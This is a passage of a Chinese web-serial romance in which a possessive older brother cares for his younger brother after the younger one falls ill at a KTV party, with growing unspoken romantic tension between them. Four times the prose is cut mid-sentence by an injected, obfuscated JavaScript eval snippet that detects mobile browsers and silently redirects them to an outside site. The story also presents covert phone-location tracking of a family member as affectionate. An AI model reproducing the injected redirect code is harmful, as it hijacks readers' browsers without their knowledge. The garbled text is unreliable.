“哥你快去睡吧,都几点了。”裴昭含含糊糊地说。 裴寂问:“明天回来吗。” “回啊,明天周五,肯定回。” 电话挂了,屏幕暗下去,裴寂站起来,走到玄关,鞋柜旁边挂着裴昭上周落在这里的一件薄外套。裴寂把那件外套拿下来,回到卧室。 他把外套叠好,拉开衣柜最下层的抽屉。抽屉里整整齐齐地放着几样东西,裴昭以为丢了的那只小熊玩偶,一件裴昭初中时穿过已经小得不能再穿的校服,一个裴昭用过的旧手机。 裴寂把今天这件外套叠好,放进抽屉里。关上。 回到床上躺下,他侧过身,面对着裴昭平时睡的那一侧。裴寂把那个枕头拉过来,抱进怀里,闭上眼睛。 宿舍这边,裴昭挂了电话,江行舟的声音从对面飘过来。 “裴昭,你哥回国了?” “嗯,刚回。” 江行舟笑一声:“你哥管你很严吗?怎么穿的睡衣是什么图案、颜色、款式都要说。” 裴昭回头看他,解释道:“不严吧,可能是我哥也想买一件睡衣了。” 江行舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532020|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦一声,没有再追问。 裴昭点开和裴寂的聊天界面,他往上翻了翻,前天的消息是他发的哥我今天想吃红烧肉,裴寂回了一个字好。 再往前是大前天的,他发了一张上课无聊画的简笔画,画的是裴寂在厨房切菜的背影。裴寂回了一句认真听课。 不严才怪。裴寂很爱管他,吃饭管,穿衣管,睡觉管,吹头发管,连他在学校吃了什么、好不好吃都要管。 裴昭有时候觉得,他哥对他的了解程度,可能超过他自己。 裴寂知道他喜欢吃什么、不喜欢吃什么,知道他什么季节容易生病,每次生病要几天才能好,知道他高兴的时候话会变多,不高兴的时候就不说话。 裴寂知道他的所有。 裴昭以前觉得是哥哥照顾弟弟,天经地义,但后来他自己也开始隐隐约约觉得,好像不是每个哥哥都这样。 …… 第二天是周五。 裴昭上完最后一节课正要往校门口的方向走,被林启青从后面一把勾住脖子。 “昭,别走!” 裴昭被他拽得往后踉跄一步,回头一看,林启青身后还跟着好几个人。 “今晚喝酒K歌去,”林启青搭着他的肩膀,一脸兴奋,“蒋宇生日,他请客。” 蒋宇在旁边笑:“来来来都去,订了个大包。” 裴昭犹豫,他本来打算下了课就回裴寂那里的,昨天跟裴寂说好了今天回去。 但…… “别犹豫别犹豫,”林启青看穿了他,晃着他的肩膀,“反正明天周六,你今晚回去和明早回去有什么区别?你哥还能吃了你?” 裴昭一想也是。 KTV在学校东门外那条街上,二楼,包间是走廊尽头最大那间。 预约好的,进去时茶几上已经摆好了两打酒,果盘还有一只插着蜡烛的蛋糕。 裴昭第一个冲进去,抢占了点歌台前面的位置,拿起话筒:“我先来。” 其他几个人刚坐下,还没来得及开酒,就听见音响里炸出高亢到破音的啊。 蒋宇捂住耳朵,整个人往沙发角落里缩。林启青一脸我就知道的表情,痛苦地闭上眼睛。 裴昭唱得浑然忘我,声音从话筒里传出来,说不上五音不全,因为五音不全至少还有调,裴昭是自创调式。 每一个音都落在一个让人意想不到的位置。 他唱完一半,林启青终于忍不住了,从沙发上弹起来,冲到点歌台前按住裴昭拿话筒的手。 “昭,给我们留条活路吧,”林启青的表情真诚,“真是太难听了。” 裴昭回头看看,蒋宇双手合十朝他拜了拜,其他人疯狂点头。 裴昭颇感无语地把话筒放下了,他倒也没有生气,知道自己唱歌是什么水平。 从小到大,每次他开口唱歌,裴寂的表情都会变得很微妙,后来他看出来他哥那个表情是在忍笑。 裴昭坐回沙发里,拿起茶几上开好的酒,看了看。 他没喝过酒,高考完那次班级聚餐的机会,因为白锦要带他去外地看中医,所以没去。 大学之后林启青他们偶尔聚餐也会点酒,裴昭每次都喝果汁。 他把那瓶酒拿起来,转头问坐在旁边的蒋宇:“哪种好喝?” 蒋宇正在啃一块西瓜,问:“你第一次喝?” 裴昭点头。 蒋宇从那排酒里挑出一瓶瓶身颜色浅一点的递给他:“这个,果味的,口感没那么辣,你先试试。” 裴昭接过来,仰头喝了一口,淡淡的甜,气泡在舌尖上炸开,有一点酒精的味道,但被果味盖住了大半,不怎么冲。 他咂咂嘴,觉得还行,又喝了一口。蒋宇看他喝得挺顺,拿起自己的酒瓶跟他碰了一下。 “生日快乐。”裴昭说。 “谢谢。”蒋宇笑。 裴昭喝了大概半瓶,一开始什么感觉都没有。 他靠在沙发里,听林启青唱歌,忽然胃部抽了一下。 裴昭的笑容僵在脸上,身体本能地蜷缩起来,紧接着整个腹腔都在绞痛。 冷汗几乎是瞬间冒出来的,他往沙发侧面倒下去。 林启青余光瞥见裴昭歪倒的动作,话筒差点甩出去。 “昭,你咋了?” 所有人都围过来,裴昭蜷在沙发角落里,双手死死按住胃部,他的呼吸变得又短又急,额头的汗顺着眉骨淌下来,滑进眼睛里,又从眼角溢出去,分不清是汗还是生理性的泪水。 他咬着牙,声音从牙缝里挤出来:“胃疼……” “林子……”裴昭吃力地睁开眼,视线模糊得看不清林启青的脸,“可能要麻烦你送我去医院了。” 8. 第 8 章 林启青一把捞起裴昭。裴昭瘦,一米七几的个子挂在他肩上,重量比想象中还轻。 裴昭的脚沾了地,膝盖却往下坠,几乎全靠林启青撑着才没有滑下去。蒋宇他们也围上来,七手八脚地帮忙。 林启青冲他们摆了摆手:“没事,他胃老毛病了。你们继续玩,继续玩。老蒋生日快乐,我先带他去医院。” 他架着裴昭走出了包间门:“你忍着点,很快就到了。” 裴昭没应声,他全部的力气都用在按住胃部和挪动脚步上,牙齿咬住下唇的破口。 下楼梯的时候裴昭的脚踩空一级,林启青猛地把他往回拽,裴昭撞在他肩膀上。 “还有两级,慢点。” KTV门口,夜风迎面扑来。林启青腾出一只手拦车,另一只手还死死箍着裴昭。 等出租车靠边停下,林启青拉开车门,先把裴昭塞进后座,自己跟着钻进去,车门还没关严就冲司机报了最近的医院。 裴昭靠着车窗,蜷在后座的角落里,双腿缩起来抵着胃部,眼睛闭紧,睫毛湿漉漉地贴在眼睑上。 林启青看见他按在胃部的手指一直在发抖。 裴昭疼得几乎快要迷糊了,但还艰难地睁开眼:“林子。” “别告诉我哥。” 到了医院,林启青架着裴昭进去,挂号后扶着人到留观区坐下。 护士过来量血压、问症状、扎针、挂水。裴昭被挪到窄床上躺下。 等一切都忙完,裴昭蜷在病床上,呼吸慢慢平下来。胃绞痛从剧烈变成钝钝的隐痛,疼得发木。 “林子,你回去吧。”裴昭的声音还是虚的,“我睡一觉就好了。” “我等会儿回。”林启青换了个姿势,把手放下来搭在膝盖上,“你怎么样?早知道不叫你去了。” 裴昭轻轻晃头。说起来,他和林启青的友谊,有一部分还要归功于他这副脆弱的身体。 裴昭完全是在爸妈和哥哥的精心保护下长大的。特别是小时候,白锦和裴以恒对他,爱到小心翼翼,爱到风声鹤唳。 裴昭天生免疫力低,动不动就生病,但他性格偏偏又不是那种安安静静待在屋里的小孩。 身体弱,性格皮。 好几次和别墅区的其他小孩一起玩,小裴昭啪叽摔一跤,膝盖磕在水泥地上,或者被撞一下,胳膊肘蹭破皮。 他爬起来拍拍土,也不哭,继续追着跑。等玩够了回家,白锦一看,白嫩的手和腿上青一块紫一块,膝盖上还凝着血痂。 天都塌了。 白锦蹲下来,捧着他的胳膊,声音都在抖:“昭昭,是不是有人欺负你?跟妈妈说,是不是他们推你了?” 裴昭说没有,是自己摔的,他们不信。 裴以恒带着裴昭去找其他小孩的家长,裴昭站在大人身后,看着自己的玩伴被各自的爸妈拉回家。 小裴昭不太明白发生什么,只知道后来那些小孩看见他就绕道走。 白锦他们也不太敢放裴昭自己出去玩了,所以裴昭只能去粘着裴寂。 后来身体好一点了,到了上学的年纪,裴昭遇到了林启青。 林启青那时候门牙刚换,说话漏风,上课爱接话茬,下课第一个冲出教室。 裴昭坐在他旁边,安安静静地削铅笔。林启青回来的时候满头汗,看见裴昭把铅笔削得整整齐齐码在笔盒里,说一句你削得真好,然后伸手拿了一支。 就这么认识了。 林启青带他打篮球,打游戏,翻墙逃课去学校后门买炸串。 裴昭跟着他,做了很多以前被禁止做的事,也很多次害得裴昭生病。 比如打完篮球一身汗不擦就坐在风口吹,裴昭当晚就发了烧。 比如炸串吃多了闹胃疼,裴昭捂着肚子蜷在宿舍床上。 每次林启青都愧疚得不行,裴昭一开始还担心,担心林启青会觉得他太麻烦,然后像别墅区那些小孩一样,不跟他玩了。 但第二天裴昭退烧了,林启青就恢复原样。 “走啊昭,食堂新出了那个什么奶茶,去不去?” 也许是缘分吧,从他们成为同桌开始,两个人的分数经常考得差不多,连后来大学都考到了同一所。 林启青说这是孽缘,裴昭说那你倒是考去别的地方啊。林启青说算了,你离了我谁带你翻墙。 裴昭的回忆被手机铃声打断。他从枕头边摸出手机,屏幕上跳出来的名字让他僵了一瞬。 裴昭看看林启青,林启青也看着他。 “我哥。”裴昭说。 林启青坐正,后背从椅背上弹起来:“我靠,怎么办?” 裴昭现在的状态,一开口就会露馅。裴寂的耳朵毒,有一次发烧,裴昭在电话里只说了一个嗯字,裴寂就听出来了。 他赶忙挂了语音,挂断的一瞬间,裴昭的心跳漏了一拍。这是他第一次挂裴寂的电话。手指有点发抖,他点开对话框,打字。 “哥,我忘记今晚有小组作业,就不回去了。” 发出去后裴昭仍然握着手机,手心全是汗。 公寓里,裴寂靠在沙发背上,神色淡淡。 不接他的通话。裴寂垂下眼,看着对话框里那行字。 已经露馅了,昭昭。 裴寂的拇指在屏幕边缘摩挲一下,然后打字:“什么小组作业?” 裴昭收到这条回复的时候,和林启青对视一眼。两个人紧张地凑在一起,想出一个听上去合理的答案。 发过去之后,裴昭就盯着屏幕,等着裴寂的回复。屏幕上方一直显示对方正在输入,又停下,又变成正在输入。 裴寂退出微信,点开手机上一个不显眼的软件图标。地图界面展开,一个红色的坐标点显示在中心医院。 裴寂眼神一暗,立马站起来,出了门。 一分钟后,裴昭收到回复。 “昭昭不要骗哥哥,现在在哪里?” 裴昭盯着这行字,心跳砰砰砰的。裴昭不知道裴寂是怎么知道的,有一种错觉,不管他去了哪里,做了什么,见了什么人,都完全在裴寂的视线里。 裴昭搓了搓手心的汗,裴寂的消息接二连三地发进来。 “不说吗昭昭。” “又不乖。” “我去问林启青。” 裴昭怂了,他把定位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532021|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了过去。发完他就把手机扣在枕头边,翻了个身,把脸埋进枕头里。 “林子,你回去吧,我哥马上来了。” 林启青犹豫一下:“……行。” 他站起来,把椅子推回原位:“你哥来了跟我说一声。” 裴昭小声答应。 裴昭虚弱得很,除了吊针的那只手搭在床沿,其他部位都裹在被子里,边角掖得严严实实。 胃部还在烧灼一般地疼,全身冒过汗之后,皮肤上残留薄薄的湿意。衣服贴在背上,忽然又觉得热,他把脚探出被子。 凉意从脚心窜上来,沿着小腿往上爬,没一会儿又冷了,脚趾蜷缩起来,缩回被子里。过一会儿又热了,再探出去。 人昏昏沉沉的,走廊里护士推车的轱辘声、路过的人的说话声,所有的声响都被放大。 裴昭侧躺着,脸半埋在枕头里,目光落在门上。 门被推开的时候,裴昭还是惊讶了一下。 好快,他挂了电话才多久?从他发定位到现在,就算从公寓出发,正常车程也要将近二十分钟。裴昭迷迷糊糊地想,也不知道他哥是不是飞过来的。 裴寂站在门口,走廊的光从他背后涌进来,一时间看不清他的表情,只能看见他胸膛起伏的幅度,西装外套没有扣,领带歪到一边,像是被人用力拽过。 擦着超速边缘赶来的裴寂一脸阴沉,他快步走到床边,垂眸。 裴昭仰着脸看他,少年的半张脸埋在枕头里,露出来的那半张苍白得近乎透明。眼尾耷拉着,瞳仁里映着床头灯的光,水光潋滟的。 嘴唇上被咬破的一点伤口凝着暗红色的血痂,被子被蹬得皱巴巴的,一只脚还探在外面,脚趾微微蜷着。 可怜巴巴的眼神。 裴寂拉过椅子坐下来。他没有说话,先伸出手,用手背贴了贴裴昭冰凉的脸颊,然后翻过手,掌心贴上去。 掌心的温度渡过去,裴昭的睫毛颤了颤,不自觉地往那只手上贴了一点。 裴寂的手从裴昭脸颊上移开,朝着被子里面探去。裴昭自知做错了事,乖乖不动,任由他哥检查。 被子被掀开一角,裴寂的手从他睡衣的衣摆下伸进去,指尖先碰到他汗湿的小腹。 滑腻腻湿漉漉,皮肤上全是冷汗,从胃部的位置一直到腰侧,薄薄的一层,摸上去又凉又黏。 裴寂的手掌整个覆上去,手指微微收拢,轻轻揉了一下。 裴寂终于出声:“疼得厉害吗?” 裴昭可不敢再说谎了,老实说:“都快疼死了。” 裴昭抬起眼,头顶侧方打下的冷白光里裴寂眉骨和鼻梁的折角显得格外锋利,眼窝却沉在阴影里,看不清眼底的神色。 平日里面对裴昭时稍微展露的柔软现在一点都看不出来,反而是冷的。尖锐的。 不过裴昭不怕,从小到大,裴寂对他生过气。真的生气,不是吼不是骂,是沉默,把他隔绝在外面。 小裴昭就会站在墙外面,踮着脚敲门,一遍一遍地喊哥。敲久了裴寂就会开门,脸上的冷会裂开一条缝。 裴昭从来不怕裴寂的冷,因为他知道那层冷底下是什么。 9. 第 9 章 裴昭现在难受得紧,身体像被抽走了骨头,从脊椎到四肢都泛着酸乏。 他撑着不睡,是因为裴寂还阴沉着脸,他知道自己做错了事,他想等裴寂开口说话。 但裴寂一直沉默,只是坐在床边,一只手贴在他小腹上,一圈一圈地揉。 裴昭的眼皮垂下去,又睁开,又垂下去。裴寂的手还在揉,胃里的灼痛一点一点退远,从身体里被抽离,他睡着了。 嘴唇乖乖闭着,眉头舒展开来,蜷着的身体也慢慢放松,腿伸直了,脚踝搭在床沿。 裴寂这才把手收回来,替裴昭把被子重新盖好,被角掖进下巴和肩膀之间,探出被子的脚被轻轻托起,放回被子里,脚底的凉意被掌心捂了一会儿才松开。 裴寂靠回椅背,手搭在膝上,拇指慢慢捻着食指指根。 裴昭再次醒来时已经回到裴寂的公寓了。 一场病好似把他的所有精神力都夺走了。裴昭坐起身,动作很慢,头还是晕的,眼前有一瞬的发黑。 门被推开,裴寂端着一个托盘走进来,托盘上放着一杯温水,旁边是医院开的药,他把托盘放在床头柜上,水杯和药盒拿出来,摆在裴昭伸手就能够到的地方。 裴寂说:“先吃点东西再吃药。” 裴昭小幅度点点头。裴寂转身出去,再进来的时候手里端着一只碗。 小米和粳米熬到稠而不糊,上面卧着几颗枸杞和切得极细的姜丝。 裴昭接过碗,拿起调羹舀一勺吹了吹,送进嘴里。 吃了半碗,他不要了,他把碗转手递给坐在床边的人。裴寂接过去,低头看一眼碗里剩下的半碗粥,没有说什么,放到床头柜上。 “吃药。” 裴昭乖乖把药片倒进手心,仰头就着温水吞下去,然后把杯子放回去,重新躺平,裴寂端着碗和杯子出去。 裴昭摸出手机,屏幕亮起来,林启青的消息轰炸了几十条,从昨晚到今天早上。 最新一条是十分钟前:“裴昭你要是醒了就给我发个句号,让我知道你活着就行。” 裴昭发了个句号,林启青秒回了一串感叹号。 裴寂进来的时候,裴昭侧躺着,手机举在脸前面,拇指在屏幕上慢慢划。他的脸色还是白,手背上的针眼贴着一小块创可贴。被子盖到肩膀,露出细瘦的手腕和半截小臂。 裴寂站在床边,垂眸:“怎么病的。” 裴昭放下手机,他不敢看裴寂,小声说:“同学生日,我没注意多喝了点酒。” 他没说全,昨天淋了雨之后虽然及时冲了热水澡,但没有吃药。裴昭从小身体弱,淋雨受凉之后必须把寒气逼出来。 结果他抱着侥幸心理,寒气在身体里窝了一整夜,第二天没有缓过来,就敢空腹跑去喝冰的酒。 “昭昭本来不打算告诉哥哥,对吗。” “我怕你担心嘛。”裴昭的声音越来越小,像犯了错的小学生站在班主任办公室里,明知道理由站不住脚,还是硬着头皮说出来,“我错了,哥。” 裴寂捻着指根的手停下来,是错了,裴寂想。 把自己弄得这样虚弱可怜是错。 胃疼得在床上蜷成一团,额头上全是冷汗,嘴唇咬破了也不知道松口是错。 明明知道自己的身体是什么样,明明知道淋了雨要吃药,明明知道空腹不能碰酒,还是把自己弄成这副模样,躺在医院的窄床上,脸白得像一张纸,是错。 疼了难受了不告诉他,打电话过去被挂断,撒谎试图蒙混过关。如果不是他看到了定位,如果不是他赶过去,裴昭是不是打算一个人在医院里熬一整夜?也是错。 裴昭不会知道,他在推开门看到单薄苍白躺在床上的裴昭时,有多害怕。 不等裴昭再偷偷抬眼,裴寂已转身去了浴室。 水龙头响了一阵,再出来时,他端着一盆热水,盆边搭着毛巾。 裴寂一言不发,投了毛巾拧干,掀开被子一角。 裴昭的手臂露出来,细瘦白净,汗干后感觉黏腻腻的一层,确实不舒服。 裴寂握住他的手腕,热毛巾贴上去,从腕子擦到小臂,绕过肘弯,拭过内侧。 “抬头。” 毛巾贴上后颈,擦过喉结两侧,绕过锁骨。 裴昭的眼睫簌簌颤着,裴寂始终垂着眼,目光只落在毛巾与皮肤相贴的位置,不曾看他。 裴昭盯着他哥的脸,下颌线绷着,嘴唇抿成一条线,看不出是生气还是别的,从头到尾,裴寂没有看他的眼睛。 “哥。”裴昭的声音发飘,“你生气了吗?” 裴寂不答,手探进被子更深处,手指搭上裤腰。 裴昭的脸噌地红了,他一把攥住裤腰不松手。 “哥,这就不要了吧。” “擦了舒服。”裴寂抬眸。 这是擦身以来头一次正眼看他。 裴昭偏过头去,把脸埋进枕头里,手还死死攥着裤腰。才被冷落几分钟,他就受不住了。 他本来就难受,胃还在一阵一阵地隐痛,头也晕,生病的人最容易委屈,他一睁眼就在等裴寂说点什么。 说一句还疼吗,说一句昭昭乖,哪怕只是教训他,但裴寂什么都没说。 他说都快疼死了,他也没有多问一句。裴昭等了又等,都没等来一句软话。 他最依赖的哥哥,没有心疼他,没有安慰他,反而冷着一张脸,又是盘问又是沉默。 裴昭越想越委屈。 从小被娇纵到大,脾气不算小。白锦捧着他,裴以恒护着他,裴寂更是把他放在心尖上养。 生病了全家围着他转,不高兴了嘴一扁就有人哄。他可以挂裴寂的电话,可以撒谎,可以犯了错缩进被子里只需要一句我错了哥就换来裴寂掌心覆上来的温热。 但裴寂不能不理他,谁都可以,裴寂不行。 裴昭把脸埋进枕头更深处,开始回想裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532022|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂的坏,算来算去,只有一件。 三年前裴寂丢下他出国。 他放学回来,推开门就觉得不对劲。 裴昭站在门口,书包带子从肩上滑下来,挂在手肘上。他傻乎乎地问:“哥,你要去哪。” “出国。” 裴昭呆住,脑子是空的,本能地往下接话:“去多久?” 裴寂走近他:“看情况。” 看情况就是没有期限。 “哥,你能不能不走。” 裴昭从后面抱住裴寂的腰,脸贴在他后背上:“哥,我求你别走。” 但裴寂只是说:“昭昭,要走的。” 裴寂从小管他极严,裴昭习惯了这种管,习惯到以为这是一辈子的事。 然后裴寂走了三年,三年里没人管他吃什么几点睡淋没淋雨。 现在裴寂忽然回来,捡起三年前的规矩,好像这三年从未存在过,可是算什么? 裴昭把被子拉过头顶,整个人缩进去,他不想看裴寂了。 这是裴昭惯用的生气方式,不哭不闹,不理人。小时候生气了就蹲在墙角把自己缩成一团蘑菇,谁来都不应。 后来长大一点学会了冷战,不看人不说话,把所有委屈都裹进一层看不见的壳里。 被子里空气闷热潮湿,全是自己的呼吸。他把脸埋进手臂间,鼻子发酸,眼眶发烫。 裴寂无法接受裴昭脱离自己的视线,尤其是在他看不见的地方受伤难过。 KTV沙发上蜷成一团,手背扎着针脸白如纸,还跟林启青说别告诉我哥,每一桩都是错,但比错更让他难以承受的,是怕。 怕裴昭疼的时候他不在,怕裴昭需要他的时候他没到。三年前他走,以为放长那根线能让一切回到正轨。三年后回来,发现线放得越长,却扯得越疼。 包括此刻,裴昭生气了,把自己裹进被子里不让他看,仅此而已他都倍感焦躁,他得知道为什么。 “昭昭,生气了要告诉哥哥为什么。” 半晌被子边缘拉开一道缝,裴昭的眼睛露出来,睫毛上挂着潮意。 他攥紧被角,小声但怒气冲冲:“告诉你,你会听吗?三年前我求你别出国,你也不管我。” 是憋了三年的话:“你有什么想法心事,永远瞒着我。” 被角拉回去,被子在微微发颤。 裴寂坐在床边,无言以对。所有的一切,他都没办法告诉裴昭。 三年前为什么走,说不出口。因为发现给裴昭擦头发时手指在他后颈停留的时间越来越长,因为发现自己会趁裴昭睡着后盯着他的嘴唇看很久,因为有一次裴昭靠在他肩上看电视歪头冲他笑了一下,他差一点就低下头去。 也恍然间被迫点醒自己对裴昭异于常人的过度关注,他怕自己终有一天控制不住,把裴昭缠到窒息。 裴寂伸出手,隔着被子,手掌覆上裴昭后背的位置。 “昭昭。” 10. 第 10 章 裴昭兀自伤心着,竟迷迷糊糊睡了过去。攥着被角的手指松了劲,一根一根地滑开。 裴寂等了片刻,确认他睡熟了才伸手将被子轻轻掀开。裴昭的脸露出来,闷得粉扑扑的,额角的碎发被汗濡湿了贴在太阳穴上,鼻尖也红红的,像一颗被捂熟了的桃子。 裴寂满怀怜爱地用指背轻刮了刮裴昭的脸颊,指腹沿着眉骨描到眼尾,把那一小片湿痕蹭干了。 然后低下头,嘴唇在裴昭额角上印下一个吻。 …… 裴昭睡得有点多了,这一觉没睡太久,半夜三点左右就醒了。 他睁开眼,入目是裴寂的下颌,裴昭愣了一瞬才反应过来自己在裴寂怀里。 他哥的手臂环在他后背上,掌心贴着他肩胛骨的位置,将他整个揽在胸前,另一只手搭在他后腰。 睡醒之后脑子清醒了不少,情绪也退了,裴昭眨眨眼,回想起来自己睡前说了什么。 冲裴寂发脾气,他顿时有点后悔,裴寂是因为担心他才会如此,从头到尾被照顾的都是他。 而他不仅不领情,还翻旧账,还拿三年前的事戳他哥。裴昭越想越觉得自己过分,他毕竟已经是个成年人了,总不能像小时候一样无理取闹。 他轻轻动一下,想从裴寂怀里退出来一点,只是肩膀挪了半寸,环在后背上的那只手就收紧了。 裴寂睁开眼。 裴昭猝不及防和他对视上,裴昭本能地想躲,目光往下滑,滑到裴寂的喉结上,又觉得这个位置更不对劲,再往下是锁骨,再往下是胸膛。 他干脆闭上眼,睫毛簌簌抖了两下。 但他总不能装睡,裴昭重新睁开眼,乖乖靠在裴寂身上:“哥,对不起。我刚刚说错话了。” 床头有昏暗的小灯,是裴寂为了好照顾他特意留着的。裴昭在这团光里抬眼去看裴寂的神色。 裴寂沉默,裴昭摸不准他是不是还在生气,又补了一句:“下次再也不骗你了。哥你别生气。” 裴寂终于有了回应,搭在裴昭后背的那只手往下移了几寸,落在臀尖上,不轻不重地拍了两下。 被子底下传来两声闷响。 裴昭整个人僵住,失声喊出来:“哥!你又打我屁股,我都二十岁了!” 话音羞恼交加,从耳垂一路烧到腮帮子,他抬脸瞪着裴寂,眼睛瞪得滚圆,但看上去毫无威慑力。 裴寂不为所动,另一只手抬起来,手心托住裴昭的下巴,拇指抵在他下颌骨边缘,让他微微仰起脸,动作虽不粗暴,却也不容拒绝。 “几岁都是我的弟弟。”他说,“做错了事情就得惩罚。” 裴昭瞪眼,在他怀里乱动起来,挣又挣不开,越挣裴寂的手臂收得越紧。裴昭掰着他的手腕往外推,两条腿在被子里蹬来蹬去,膝盖隔着衣料蹭过裴寂的小腹。 “哥你讲不讲道理。”他一边挣扎一边抬眼,大眼睛滴溜一转,换了个策略,“我们换个方式好不好?打屁股好奇怪……” 裴寂闷哼一声,他倏地收紧手臂,把裴昭整个箍进怀里,不让他再动。 裴昭被箍得动弹不得,下巴搁在裴寂肩膀上,只听见他哥的声音从耳后传来,发紧带哑。 “好了昭昭,乖一点。” 裴昭眨眨眼,便乖乖地安静下来,贴在裴寂怀里,感觉到他哥的胸膛起伏得比平时快。几息之后才慢慢平复。 裴昭撇撇嘴,把这个异样暂时搁到一边,说:“睡太多了,睡不着。” 裴寂慢慢地和他分开一点距离,手臂从腰上松开,掌心从他后背滑到肩头:“要起来走走吗?头疼不疼?” 裴昭点头:“我们去客厅坐一会儿吧。” 裴寂起身,先从柜子里拿出件薄外套,展开,披在裴昭肩上。袖子比裴昭的手臂长出一截,他把袖口往上翻了两道,露出一双细白的手。 然后是拖鞋,他把鞋摆正在床边,裴昭把脚伸进去,踩了两下,站起来的时候头晕得晃了晃,裴寂伸手扶住他的胳膊,五指圈住上臂,力道刚好能稳住他。 一路扶到客厅沙发上,裴昭陷进沙发垫里,裴寂转身去了厨房。 厨房的灯亮起,冰箱门打开又关上。裴昭歪在沙发上,因为头晕没有看手机也没有打开平板。 他把目光转向厨房,能看见裴寂的背影。 裴昭忽然想起刚才那一瞬间,裴寂闷哼的时候僵硬的身体,还有悄悄的远离。 裴昭歪着头,手指无意识地抠着沙发垫的边缘,好奇怪。 裴寂端着果盘走出来,放在茶几上,苹果切成小兔子的形状,橙子去了筋络,一瓣一瓣码得整整齐齐。 裴昭拿起一只苹果兔子,咬了一口,脆生生的。他嚼着苹果,目光从裴寂的眉骨描到下颌,裴寂靠坐在沙发另一端,闭着眼,像是在养神。 裴昭把苹果咽下去,什么都没说。 …… 周末裴昭要回家,他的声音还没完全恢复,偶尔还会咳两声。但找借口不回去更会引起爸妈的怀疑。 裴寂本来要亲自送他,但一早临时有急事,电话打了快半小时,裴昭窝在沙发上,冲他摆了摆手:“哥你忙你的,我自己打车。” 裴寂站在玄关,车钥匙在手里转了一圈。最终他把钥匙塞进口袋,弯腰检查了裴昭的背包,然后直起身看着裴昭的眼睛说:“到了给我发消息。” 裴昭说好…… 车停在别墅区门口,司机进不去,裴昭自己下了车。 他沿着种草皮的路往里走,两边是修剪整齐的不知名树和独栋别墅。走到自家隔壁那栋时,他无意间抬头看了一眼。 那栋房子以前常年空着,门口的路灯坏了也没人修。现在门口停着一辆黑色的车,门开着,一个西装革履的中年男人正从里面走出来。 裴昭只是瞥过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532023|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,脚步没停,那男人却忽然顿住了脚步,转过身来。目光落在裴昭身上,从头到脚扫了一遍,然后停在他脸上。 裴昭礼貌地点了点头,算是打过招呼,正要继续往前走,男人却上前一步,挡在了他面前。 “你是裴家的小儿子?”男人问。他嘴角噙着笑,笑意却没有抵达眼底。 裴昭又点了点头,心想现在的样子看来是是主人回来了。 男人轻浮一笑:“原来如此。” 四个字说得意味深长,裴昭心下奇怪,细看男人后又觉得心里一直梗着不舒服。 男人还在看他,目光明晃晃的,裴昭整个人都冷下来。他虽从小被保护得好,但不是没见过这种目光,却也从未有人这样堂而皇之。 裴昭很是排斥和反感,他当场冷下脸,一言不发,绕过男人径直走了。 一个不愉快的小插曲,裴昭进了家门就把那张脸丢到了脑后。 白锦已经等在客厅,一见他进门就迎上来,嘴里念叨着是不是又瘦了,然后就被按在沙发上灌了一大碗乌鸡汤。 周六喝汤,周日吃药膳,周一早上临走还被塞了一保温杯的当归炖蛋。 返校那天裴昭坐在出租车后座上,感觉鼻腔里都是补品的味道,仰头摸了摸鼻子,确认没有流鼻血才放下心。 裴寂这几天应该很忙,裴昭发过去的消息,他总是隔一阵才回。 裴昭发:“哥我今天不咳嗽了。” 隔了十八分钟回一个“好”。 他发:“午饭吃了食堂的糖醋排骨,比哥做的差远了。” 隔了半小时回“少吃食堂”。 裴昭盯着那几条言简意赅的回复,撇撇嘴,也就不多打扰了。 周三下午,林启青和裴昭下了课坐在奶茶店里,裴昭一边戳着杯子里的珍珠,一边无精打采地划手机。 林启青咬着吸管看他,忽然把杯子往桌上一顿,语重心长:“裴昭,你有没有发现一个问题。你跟你哥的相处模式,如果他不是你哥,搁别人身上那就是谈——” “你闭嘴。”裴昭举起大拇指,朝下,比了个倒彩。 